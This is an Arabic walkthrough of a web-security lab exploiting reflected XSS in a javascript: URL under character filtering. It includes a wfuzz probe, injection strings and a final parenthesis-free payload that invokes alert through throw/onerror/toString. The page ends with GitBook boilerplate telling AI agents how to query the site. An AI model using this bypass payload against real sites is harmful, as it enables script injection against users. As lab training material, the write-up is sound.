> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xss/xss-in-javascript-url-with-limited-characters.md).

# XSS في عنوان JavaScript URL مع أحرف محدودة

### ثغرة XSS منعكسة في عنوان URL لجافاسكريبت مع حظر بعض المحارف

#### الهدف

استخدام ثغرة XSS منعكسة في `JavaScript:` عنوان URL لعرض `alert` التي تحتوي على `1337` السلسلة (التي `1337` يجب أن تكون السلسلة موجودة في مكان ما داخل الرسالة).

يُرجِع التطبيق مدخلاتنا ضمن عنوان URL لجافاسكريبت. للوهلة الأولى تبدو التحديات بسيطة، لكن التطبيق يرشّح بعض المحارف لمنع هجمات XSS. علينا إيجاد طريقة للهروب من سياق JavaScript رغم هذه القيود وتشغيل `alert(...)` التي تحتوي على `1337`.

<figure><img src="/files/8bec0df85a9ae9d0e7d19832f32083bf5cefe126" alt=""><figcaption></figcaption></figure>

#### تحليل شفرة المصدر المرصودة

في شفرة المصدر يمكنك العثور على الرابط التالي:

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">العودة إلى المدونة</a>
```

{% endcode %}

بعد فك ترميز عنوان URL تحصل على:

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=1'}).finally(_ => window.location = '/')">العودة إلى المدونة</a>
```

{% endcode %}

يؤدي النقر على العودة إلى المدونة إلى تنفيذ عنوان URL هذا الخاص بجافاسكريبت. ومن خلال اعتراض الطلب، نرى أنه يتم إجراء استدعاء إلى `/analytics`. الـ `postId` يتم أخذ المعامل من عنوان URL (`/post?postId=...`) ويُعكس في جسم استعلام التحليلات.

<figure><img src="/files/9888587deaf0924789848578770e6b667bf3fba7" alt=""><figcaption></figcaption></figure>

#### المحاولة الأولى — كسر التحليل

<figure><img src="/files/65e92871f0e3638c7e3a53566af3f1d6816bb96f" alt="" width="563"><figcaption></figcaption></figure>

عند حقن علامة اقتباس مفردة واحدة، ينكسر التحليل (يصبح المعرف غير صالح):

```javascript
2'},{x:'
```

علامة الاقتباس تكسر البنية، مما يوضح أن القيمة تُدرج في سياق تؤثر فيه علامات الاقتباس.

<figure><img src="/files/f670ee59c5b1323a67834230f3ab4782e5b2a89b" alt="" width="563"><figcaption></figcaption></figure>

#### استكشاف المحارف الخاصة

اختبرنا بسرعة أي المحارف الخاصة تُنتج استجابة صالحة (باستخدام `wfuzz` و `special-chars.txt` القائمة). مثال على الأمر المستخدم:

{% code overflow="wrap" %}

```bash
wfuzz -c -w /usr/share/SecLists/Fuzzing/special-chars.txt 'https://0a530041036b803fbb5cd40a009500a8.web-security-academy.net/post?postId=2FUZZ%27},{x:%27'
```

{% endcode %}

تُظهر النتائج أن `&` و `#` تُنتج رمز 200 — فهي مقبولة من قبل المحلل وتسمح بإدراج تسلسلات تُغلق البنية بشكل صحيح.

<figure><img src="/files/fb75ff42b872c0daebb2e853c856b47662919303" alt="" width="563"><figcaption></figcaption></figure>

التفسير المرصود:

```javascript
post?postId=2&
```

<figure><img src="/files/42acf888f4209b75c85719a8a22b529f8d946d51" alt=""><figcaption></figcaption></figure>

#### بناء متجه الهروب

من خلال إغلاق القيمة بشكل صحيح وإدراج شيفرة، يمكنك الحصول على:

```javascript
post?postId=2&'},{x:''
```

<figure><img src="/files/37c49c68d3290df671b6fb5351cc653e15149bff" alt=""><figcaption></figcaption></figure>

هنا `x` يبقى فارغًا ويتم قبول الصياغة.

ثم نحاول إضافة `alert` مباشرةً:

```javascript
post?postId=2&'},alert(1),{x:''
```

لكن `()` الأقواس من `alert(1)` تُزال بواسطة المرشح — لذا عليك تجاوز الالتزام باستخدام `()`.

<figure><img src="/files/56ca5cd3996feeacb514f04da23ab2b539c8e194" alt=""><figcaption></figcaption></figure>

#### الالتفاف بدون أقواس

يمكن تجاوز استخدام الأقواس واستخدام تعبيرات JavaScript أكثر إبداعًا لاستدعاء `alert` بـ `1337` في المخرجات. الحمولة النهائية المستخدمة هي:

```javascript
2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window%2b'',{x:'
```

<figure><img src="/files/fad0588a66686c8ae83db79019b20a613667d441" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xss/xss-in-javascript-url-with-limited-characters.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
